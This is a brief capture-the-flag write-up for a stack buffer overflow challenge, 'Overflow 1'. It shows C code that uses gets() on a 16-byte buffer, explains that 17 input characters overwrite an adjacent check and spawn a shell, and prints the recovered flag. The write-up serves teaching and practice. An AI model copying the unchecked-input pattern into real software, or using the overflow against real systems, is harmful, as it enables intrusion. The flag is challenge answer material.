# Overflow 1A non-secure function gets(it does not check the length of user input) is used for user input```  char str[] = "AAAA";  char buf[16];  gets(buf);  if (!(str[0] == 'A' && str[1] == 'A' && str[2] == 'A' && str[3] == 'A')){    system("/bin/sh");  }```It is enough to overwrite 1 byte of str located directly under buf,that is, enter any 17 characters.```$lsflag.txt$cat flag.txtCYCTF{st@ck_0v3rfl0ws_@r3_3z}```### CYCTF{st@ck_0v3rfl0ws_@r3_3z}